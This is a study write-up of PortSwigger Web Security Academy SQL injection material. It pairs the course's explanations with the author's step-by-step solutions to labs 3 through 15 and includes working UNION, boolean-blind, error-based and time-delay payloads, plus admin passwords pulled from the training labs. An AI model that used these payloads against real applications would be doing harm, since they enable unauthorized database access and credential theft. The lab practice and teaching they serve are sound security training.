Part 2 - SQL injection module - Web Security Academy - PortSwigger

In this section, we will go into detail on other types of SQL injection attacks.

Examining the database in SQL injection attacks

To exploit SQL injection vulnerabilities, it’s often necessary to find information about the database. This includes:

• The type and version of the database software.

• The tables and columns that the database contains.

Querying the database type and version

You can potentially identify both the database type and version by injecting provider-specific queries to see if one works.

The following are some queries to determine the database version for some popular database types:

Database type	Query
Microsoft, MySQL	SELECT @@version
Oracle	SELECT * FROM v$version
PostgreSQL	SELECT version()

For example, you could use a UNION attack with the following input:

' UNION SELECT @@version--

This might return the following output. In this case, you can confirm that the database is Microsoft SQL Server and see the version used:

Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)

Listing the contents of the database

Most database types (except Oracle) have a set of views called the information schema. This provides information about the database.

For example, you can query information_schema.tables to list the tables in the database:

SELECT * FROM information_schema.tables

This returns output like the following:

TABLE_CATALOG	TABLE_SCHEMA	TABLE_NAME	TABLE_TYPE
MyDatabase	dbo	Products	BASE TABLE
MyDatabase	dbo	Users	BASE TABLE
MyDatabase	dbo	Feedback	BASE TABLE

This output indicates that there are three tables, called Products, Users, and Feedback.

You can then query information_schema.columns to list the columns in individual tables:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

This returns output like the following:

TABLE_CATALOG	TABLE_SCHEMA	TABLE_NAME	COLUMN_NAME	DATA_TYPE
MyDatabase	dbo	Users	UserId	int
MyDatabase	dbo	Users	Username	varchar
MyDatabase	dbo	Users	Password	varchar

This output shows the columns in the specified table and the data type of each column.

Listing the contents of an Oracle database:

On Oracle, you can find the same information as follows:

You can list tables by querying all_tables: SELECT * FROM all_tables

You can list columns by querying all_tab_columns: SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

LABs about Examining the database in SQL injection attacks

LAB 3: SQL injection attack, querying the database type and version on Oracle

This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query. To solve the lab, display the database version string.

Hint:

• On Oracle databases, every SELECT statement must specify a table to select FROM. If your UNION SELECT attack does not query from a table, you will still need to include the FROM keyword followed by a valid table name.

• There is a built-in table on Oracle called dual which you can use for this purpose. For example: UNION SELECT ‘abc’ FROM dual

Following the SQL cheat sheet provided, I will try the first query on the above image.

This is the request contains category parameter. Try making a SQLi attack on it.

First, try injecting ', the server returns 500 Internal Server Error. Then, we know that the back-end use ' to indicate input.

Now, our task is to display the database version string. In this case, the database used is Oracle. Following the cheat sheet, I will try using the following query:

SELECT banner FROM v$version

First, I have to find out how many columns are there in the v$version table, in order to use the UNION method (we will discuss further about UNION in the next chapter of this post).

To do this, try input:

' UNION SELECT NULL, NULL FROM v$version

Continue adding NULL into the query until the server returns 200 OK. The result in this case is 2.

Now, we know that the v$version table in this case has 2 columns. Now the complete query become:

' UNION SELECT banner, NULL FROM v$version --

LAB 4: SQL injection attack, querying the database type and version on MySQL and Microsoft

This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query. To solve the lab, display the database version string.

This LAB is similar to the previous LAB, there’re some small changes, especially on the database used. In this case, it is MySQL/Microsoft, so I have to follow the syntax in order to view the version:

SELECT @@version

Using the same techniques as the previous LAB, I try adding ', then use '-- (Note: In SQL, after the --, we must add a space, then the comment indicator will be activated). But in this case, I received 500 status code. So I guess that there’s a trim or similar function to remove the space after the input. Then, I try '-- -, which is a small trick to bypass the trim function. The status code returned is 200 OK.

The complete payload:

' UNION SELECT @@version, NULL -- -

The LAB is solved!

LAB 5: SQL injection attack, listing the database contents on non-Oracle databases

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response so you can use a UNION attack to retrieve data from other tables. The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users. To solve the lab, log in as the administrator user.

The format is still similar to the previous LABs. First, let’s see the Database contents cheat sheet given.

Our task is to log in successfully as the administrator user. The content of this LAB is listing the database contents, so we have to find out the credential contained in the database.

First, as always, find out how many columns are there in the designed information_schema.tables table used in this LAB. The answer is 2, simply using UNION SELECT and adding NULL.

We can list all the tables’ name in the database using the table_name field. Using the following payload:

' UNION SELECT table_name, NULL FROM information_schema.tables --

After that, we retrieve a list of tables’ name.

The render function in Burp Suite cannot view all tables listed. Let’s type the payload on the URL:

I have found a table named users_ucnzrg, let’s view the contents of this table by using the payload:

' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users_ucnzrg' --

I have found 2 columns contain username and password. Let’s use the following payload:

' UNION SELECT username_ozrpxv, password_bvriav FROM users_ucnzrg --

The credential is administrator, d0hocwkgyjltfrad7jmj

LAB 6: SQL injection attack, listing the database contents on Oracle

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response so you can use a UNION attack to retrieve data from other tables. The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users. To solve the lab, log in as the administrator user.

Using the techniques similar to the previous LABs. Using this payload to view the list of tables from all_tables.

' UNION SELECT table_name, NULL FROM all_tables--

Finding the table using the given syntax: USERS_[ABCXYZ]. Searching for columns from the above table using the below payload:

' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name='USERS_SWUSCI'--

Using the payload:

' UNION SELECT USERNAME_FIPCXJ, PASSWORD_MPZNSW FROM USERS_SWUSCI--

The credential is administrator, 2e95snlxhk9g4umz0ro1.

SQL injection UNION attacks

When an application is vulnerable to SQL injection, and the results of the query are returned within the application’s responses, you can use the UNION keyword to retrieve data from other tables within the database. This is commonly known as a SQL injection UNION attack.

The UNION keyword enables you to execute one or more additional SELECT queries and append the results to the original query. For example:

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

This SQL query returns a single result set with two columns, containing values from columns a and b in table1 and columns c and d in table2.

For a UNION query to work, two key requirements must be met:

• The individual queries must return the same number of columns.

• The data types in each column must be compatible between the individual queries.

To carry out a SQL injection UNION attack, make sure that your attack meets these two requirements. This normally involves finding out:

• How many columns are being returned from the original query.

• Which columns returned from the original query are of a suitable data type to hold the results from the injected query.

Determining the number of columns required

When you perform a SQL injection UNION attack, there are two effective methods to determine how many columns are being returned from the original query.

One method involves injecting a series of ORDER BY clauses and incrementing the specified column index until an error occurs. For example, if the injection point is a quoted string within the WHERE clause of the original query, you would submit:

- ORDER BY 1--
- ORDER BY 2--
- ORDER BY 3--
etc.

This series of payloads modifies the original query to order the results by different columns in the result set. The column in an ORDER BY clause can be specified by its index, so you don’t need to know the names of any columns. When the specified column index exceeds the number of actual columns in the result set, the database returns an error, such as:

The ORDER BY position number 3 is out of range of the number of items in the select list.

The application might actually return the database error in its HTTP response, but it may also issue a generic error response. In other cases, it may simply return no results at all. Either way, as long as you can detect some difference in the response, you can infer how many columns are being returned from the query.

The second method involves submitting a series of UNION SELECT payloads specifying a different number of null values:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.

If the number of nulls does not match the number of columns, the database returns an error, such as:

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

We use NULL as the values returned from the injected SELECT query because the data types in each column must be compatible between the original and the injected queries. NULL is convertible to every common data type, so it maximizes the chance that the payload will succeed when the column count is correct.

As with the ORDER BY technique, the application might actually return the database error in its HTTP response, but may return a generic error or simply return no results. When the number of nulls matches the number of columns, the database returns an additional row in the result set, containing null values in each column. The effect on the HTTP response depends on the application’s code. If you are lucky, you will see some additional content within the response, such as an extra row on an HTML table. Otherwise, the null values might trigger a different error, such as a NullPointerException. In the worst case, the response might look the same as a response caused by an incorrect number of nulls. This would make this method ineffective.

Database-specific syntax

On Oracle, every SELECT query must use the FROM keyword and specify a valid table. There is a built-in table on Oracle called dual which can be used for this purpose. So the injected queries on Oracle would need to look like:

' UNION SELECT NULL FROM DUAL--

The payloads described use the double-dash comment sequence -- to comment out the remainder of the original query following the injection point. On MySQL, the double-dash sequence must be followed by a space. Alternatively, the hash character # can be used to identify a comment.

Finding columns with a useful data type

A SQL injection UNION attack enables you to retrieve the results from an injected query. The interesting data that you want to retrieve is normally in string form. This means you need to find one or more columns in the original query results whose data type is, or is compatible with, string data.

After you determine the number of required columns, you can probe each column to test whether it can hold string data. You can submit a series of UNION SELECT payloads that place a string value into each column in turn. For example, if the query returns four columns, you would submit:

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

If the column data type is not compatible with string data, the injected query will cause a database error, such as:

Conversion failed when converting the varchar value 'a' to data type int.

If an error does not occur, and the application’s response contains some additional content including the injected string value, then the relevant column is suitable for retrieving string data.

Using a SQL injection UNION attack to retrieve interesting data

When you have determined the number of columns returned by the original query and found which columns can hold string data, you are in a position to retrieve interesting data.

Suppose that:

• The original query returns two columns, both of which can hold string data.

• The injection point is a quoted string within the WHERE clause.

• The database contains a table called users with the columns username and password.

In this example, you can retrieve the contents of the users table by submitting the input:

' UNION SELECT username, password FROM users--

In order to perform this attack, you need to know that there is a table called users with two columns called username and password. Without this information, you would have to guess the names of the tables and columns. All modern databases provide ways to examine the database structure, and determine what tables and columns they contain.

Retrieving multiple values within a single column

In some cases the query in the previous example may only return a single column.

You can retrieve multiple values together within this single column by concatenating the values together. You can include a separator to let you distinguish the combined values. For example, on Oracle you could submit the input:

' UNION SELECT username || '~' || password FROM users--

This uses the double-pipe sequence || which is a string concatenation operator on Oracle. The injected query concatenates together the values of the username and password fields, separated by the ~ character.

...
administrator~s3cure
wiener~peter
carlos~montoya
...

Different databases use different syntax to perform string concatenation.

LABs about UNION attacks

LAB 7: SQL injection UNION attack, determining the number of columns returned by the query

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. You will then use this technique in subsequent labs to construct the full attack. To solve the lab, determine the number of columns returned by the query by performing a SQL injection UNION attack that returns an additional row containing null values.

This is a very easy challenge after we have encountered a lot of LABs. First, we have to make initial checking steps like adding ', '--, …

After some checking steps above, we can ensure that the comment indicator '-- is activated in this LAB. Then, we only need to give the payload:

' UNION SELECT NULL, NULL, NULL, [...] --

Continue adding NULL into the ... until the return code is 200 OK. In this case, the answer is 3.

LAB 8: SQL injection UNION attack, finding a column containing text

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you first need to determine the number of columns returned by the query. You can do this using a technique you learned in a previous lab. The next step is to identify a column that is compatible with string data. The lab will provide a random value that you need to make appear within the query results. To solve the lab, perform a SQL injection UNION attack that returns an additional row containing the value provided. This technique helps you determine which columns are compatible with string data.

First, we have to find out how many columns are there in the designed table by adding NULL until the status code returned is 200 OK.

There’re 3 columns. The given string is B7p24H. The complete payload will be one of three options below:

' UNION SELECT 'B7p24H', NULL, NULL--
' UNION SELECT NULL, 'B7p24H', NULL--
' UNION SELECT NULL, NULL, 'B7p24H'--

Try each option until the status code returned is 200 OK.

LAB 9: SQL injection UNION attack, retrieving data from other tables

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you need to combine some of the techniques you learned in previous labs. The database contains a different table called users, with columns called username and password. To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.

Very simple, we only need to give the payload below:

' UNION SELECT username, password FROM users--

Then, we retrieve the credential: administrator, iy1hn3u1agqzgje9uzry.

Login and the LAB is solved!

LAB 10: SQL injection UNION attack, retrieving multiple values in a single column

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response so you can use a UNION attack to retrieve data from other tables. The database contains a different table called users, with columns called username and password. To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.

This is the given cheat sheet about string concatenation:

Following the instruction on the above part, I should display the result as this syntax:

' UNION SELECT username || '~' || password FROM users--

Using the payload:

' UNION SELECT NULL, username||'~'||password FROM users--

The credentials are displayed: administrator~47ij6yvqup7k7v3iosb8.

Blind SQL injection

In this section, we explore techniques for finding and exploiting blind SQL injection vulnerabilities.

What is blind SQL injection

Blind SQL injection occurs when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors.

Many techniques such as UNION attacks are not effective with blind SQL injection vulnerabilities. This is because they rely on being able to see the results of the injected query within the application’s responses. It is still possible to exploit blind SQL injection to access unauthorized data, but different techniques must be used.

Exploiting blind SQL injection by triggering conditional responses

Consider an application that uses tracking cookies to gather analytics about usage. Requests to the application include a cookie header like this:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

When a request containing a TrackingId cookie is processed, the application uses a SQL query to determine whether this is a known user:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

This query is vulnerable to SQL injection, but the results from the query are not returned to the user. However, the application does behave differently depending on whether the query returns any data. If you submit a recognized TrackingId, the query returns data and you receive a “Welcome back” message in the response.

This behavior is enough to be able to exploit the blind SQL injection vulnerability. You can retrieve information by triggering different responses conditionally, depending on an injected condition.

To understand how this exploit works, suppose that two requests are sent containing the following TrackingId cookie values in turn:

…xyz' AND '1'='1
…xyz' AND '1'='2

• The first of these values causes the query to return results, because the injected AND '1'='1 condition is true. As a result, the “Welcome back” message is displayed.

• The second value causes the query to not return any results, because the injected condition is false. The “Welcome back” message is not displayed.

This allows us to determine the answer to any single injected condition, and extract data one piece at a time.

For example, suppose there is a table called Users with the columns Username and Password, and a user called Administrator. You can determine the password for this user by sending a series of inputs to test the password one character at a time.

To do this, start with the following input:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

This returns the “Welcome back” message, indicating that the injected condition is true, and so the first character of the password is greater than m.

Next, we send the following input:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

This does not return the “Welcome back” message, indicating that the injected condition is false, and so the first character of the password is not greater than t.

Using binary search algorithm, after a few trials, we obtain the correct character.

We can continue this process to systematically determine the full password for the Administrator user.

Error-based SQL injection

Error-based SQL injection refers to cases where you’re able to use error messages to either extract or infer sensitive data from the database, even in blind contexts. The possibilities depend on the configuration of the database and the types of errors you’re able to trigger:

• You may be able to induce the application to return a specific error response based on the result of a boolean expression. You can exploit this in the same way as the conditional responses we looked at in the previous section. For more information, see Exploiting blind SQL injection by triggering conditional errors.

• You may be able to trigger error messages that output the data returned by the query. This effectively turns otherwise blind SQL injection vulnerabilities into visible ones. For more information, see Extracting sensitive data via verbose SQL error messages.

Exploiting blind SQL injection by triggering conditional errors

Some applications carry out SQL queries but their behavior doesn’t change, regardless of whether the query returns any data. The technique in the previous section won’t work, because injecting different boolean conditions makes no difference to the application’s responses.

It’s often possible to induce the application to return a different response depending on whether a SQL error occurs. You can modify the query so that it causes a database error only if the condition is true. Very often, an unhandled error thrown by the database causes some difference in the application’s response, such as an error message. This enables you to infer the truth of the injected condition.

To see how this works, suppose that two requests are sent containing the following TrackingId cookie values in turn:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

These inputs use the CASE keyword to test a condition and return a different expression depending on whether the expression is true:

• With the first input, the CASE expression evaluates to ‘a’, which does not cause any error.

• With the second input, it evaluates to 1/0, which causes a divide-by-zero error.

If the error causes a difference in the application’s HTTP response, you can use this to determine whether the injected condition is true.

Using this technique, you can retrieve data by testing one character at a time:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

Extracting sensitive data via verbose SQL error messages

Misconfiguration of the database sometimes results in verbose error messages. These can provide information that may be useful to an attacker. For example, consider the following error message, which occurs after injecting a single quote into an id parameter:

Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char

This shows the full query that the application constructed using our input. We can see that in this case, we’re injecting into a single-quoted string inside a WHERE statement. This makes it easier to construct a valid query containing a malicious payload. Commenting out the rest of the query would prevent the superfluous single-quote from breaking the syntax.

Occasionally, you may be able to induce the application to generate an error message that contains some of the data that is returned by the query. This effectively turns an otherwise blind SQL injection vulnerability into a visible one.

You can use the CAST() function to achieve this. It enables you to convert one data type to another. For example, imagine a query containing the following statement:

CAST((SELECT example_column FROM example_table) AS int)

Often, the data that you’re trying to read is a string. Attempting to convert this to an incompatible data type, such as an int, may cause an error similar to the following:

ERROR: invalid input syntax for type integer: "Example data"

This type of query may also be useful if a character limit prevents you from triggering conditional responses.

Time-based SQL injection: Exploiting blind SQL injection by triggering time delays

If the application catches database errors when the SQL query is executed and handles them gracefully, there won’t be any difference in the application’s response. This means the previous technique for inducing conditional errors will not work.

In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering time delays depending on whether an injected condition is true or false. As SQL queries are normally processed synchronously by the application, delaying the execution of a SQL query also delays the HTTP response. This allows you to determine the truth of the injected condition based on the time taken to receive the HTTP response.

The techniques for triggering a time delay are specific to the type of database being used. For example, on Microsoft SQL Server, you can use the following to test a condition and trigger a delay depending on whether the expression is true:

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--

• The first of these inputs does not trigger a delay, because the condition 1=2 is false.

• The second input triggers a delay of 10 seconds, because the condition 1=1 is true.

Using this technique, we can retrieve data by testing one character at a time:

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

LABs about Blind SQL injection

LAB 11: Blind SQL injection with conditional responses

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned, and no error messages are displayed. But the application includes a Welcome back message in the page if the query returns any rows. The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user. To solve the lab, log in as the administrator user.

Hint: You can assume that the password only contains lowercase, alphanumeric characters.

First, let’s check the login function. When going to the login section, I have seen a message: “Welcome back!”.

Check the requests catched, there’s a cookie called TrackingId. Try changing a character, the message is disappeared.

Adding a letter ‘a’ at the end of the cookie, the message is disappeared. So, we can understand that the cookie is to check if the user is recognized.

Injecting the typical sequence '-- to the TrackingId parameter to check if the parameter is vulnerable. The status returned is 200 OK, so we can make exploitation through this parameter.

Based on the given information: There’s a table named users, username and password is 2 columns included, try injecting a subquery to the parameter by AND operation. Using binary search to search for the length of the password, after a few steps, the below payload returns correct length:

TrackingId=WIiu512BMorDy6uy' AND LENGTH((SELECT password FROM users WHERE username='administrator'))=20--

Now, we know that the password contains 20 characters. Using the following payload and adding to Intruder to brute-force the password:

TrackingId=WIiu512BMorDy6uy' AND SUBSTRING((SELECT password FROM users WHERE username='administrator')$0$, 1)='$a$'--

The character between $$ is the position where we have to brute-force to find out the correct value. The first position $0$ will be numeric character and varies from 0 to 20 (There’s 21 numbers, because I don’t know the designed database’s start index is 0 or 1). The second one is lowercase letter or numbers: [a-z],[0-9]. Moreover, adding the message Welcome back! into the Grep match field in order to indicate which character is correct.

After several hours, we receive the password: v1quv6regjwwae4k4pxs.

LAB 12: Blind SQL injection with conditional errors

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message. The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user. To solve the lab, log in as the administrator user.

First, we need to find an arbitrary request contains the TrackingId cookie. Add the common sequence '-- to check if the parameter is vulnerable to SQL injection. The status code returned is 200 OK, so we confirmed it.

Based on the SQL cheat sheet, and a hint that the designed database uses Oracle. So, the syntax of the conditional errors will be:

SELECT CASE WHEN (CONDITION) THEN TO_CHAR(1/0) ELSE (A VALUE) END FROM (A TABLE)

Now let’s try with the following payloads:

' AND (SELECT CASE WHEN (1=0) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual)='a'--
' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual)='a'--

If the status code returned will be 200 and 500 respectively, the payloads work. Then, try changing the table into users (as the task have given), we can see that the output will be 500 in both cases. The reason is the users table will return rows of a value, so it’s not equal to a only. We have to add WHERE ROWNUM=1 to retrieve only 1 row.

Then, when we can ensure that the payload works, change the condition in order to retrieve the password. First, let’s check the length of the password.

' AND (SELECT CASE WHEN (username='administrator' AND LENGTH(password)=20) THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE ROWNUM=1)='a'--

After some trials along with binary search, we know that the password contains 20 characters, from a-z and 0-9.

Let’s change the payload into:

' AND (SELECT CASE WHEN (username='administrator' AND SUBSTR(password,1,1)='a') THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE ROWNUM=1)='a'--

Using Intruder to brute-force the password (view detail steps in the previous LAB).

Password: l8nqc6i4wlzi9rnzeu8z.

LAB 13: Visible error-based SQL injection

This lab contains a SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned. The database contains a different table called users, with columns called username and password. To solve the lab, find a way to leak the password for the administrator user, then log in to their account.

First, as usually, we add the common sequence '-- to test if the parameter is vulnerable to SQL injection and how the application treats with the sequence. The status code returned is 200 OK, so the sequence can bypass the application syntax.

This LAB is an error-based SQL injection LAB, so we should base on the error message returned. We can try adding a subquery using AND operator. The value returned must be boolean type, so let’s use the CAST function to check if there’s a type error. Using the payload:

' AND ((SELECT 1) AS int)--

The error message returned indicates that there’s a type error. Next, try adding 1= to make it into a boolean value.

' AND CAST((SELECT 1) AS int)=1--

The status code returned is 200 OK, for sure. Now, let’s change the alternative number into target rows and columns.

Cookie: TrackingId=1ymyHleykYWxRgYw' AND CAST((SELECT username FROM users) AS int)=1--

We receive a new error message: Unterminated string literal. Looking at the SQL query displayed, we know that the rest of the SQL query behind AS i is truncated. The reason is the length of the query is too long. Let’s try removing the value of TrackingId.

One more new error message. This message indicates that the SQL query returns more than 1 row. Using LIMIT command to limit 1 row at each query.

Cookie: TrackingId=' AND CAST((SELECT username FROM users LIMIT 1) AS int)=1--

LIMIT 1 command means first 1 row will be returned on each query.

Now we know that the first row of users table contains the credential of administrator. Then, we change the username column into password and retrieve the password.

Password: kbls7ay22ry7fwnmjco4

LAB 14: Blind SQL injection with time delays

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information. To solve the lab, exploit the SQL injection vulnerability to cause a 10 second delay.

Hint: You can find some useful payloads on our SQL injection cheat sheet.

Based on the Time delays cheat sheet given, try with all the payloads because we don’t know exactly what is the database version.

Cookie: TrackingId=tGtECtMLVBx43bZB' || pg_sleep(10)--

This one works, indicates that the database version is Postgre SQL.

LAB 15: Blind SQL injection with time delays and information retrieval

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information. The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user. To solve the lab, log in as the administrator user.

Hint: You can find some useful payloads on our SQL injection cheat sheet.

First, as always, adding the request contains TrackingId to Repeater and then testing the parameter with the common sequence '--.

Using the ; to insert a new query. Try the below payload:

';SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--

We can see that the new query is highlighted, and the server does not perform any delay. So, try encoding the payload:

'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--

Verifying that the server performs a 10-second delay. Then changing the condition in order to find out the length of the password.

%3bSELECT+CASE+WHEN+(username%3d'administrator'+AND+LENGTH(password)%3d20)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

Using binary search, after few steps, we know that the length of the password is 20 (as usually).

Then, using the following payload and brute-force to retrieve each character of the password.

username%3d'administrator'+AND+SUBSTRING(password,1,1)%3d'm'

Password: vtvjpb4p94sv3yewjc68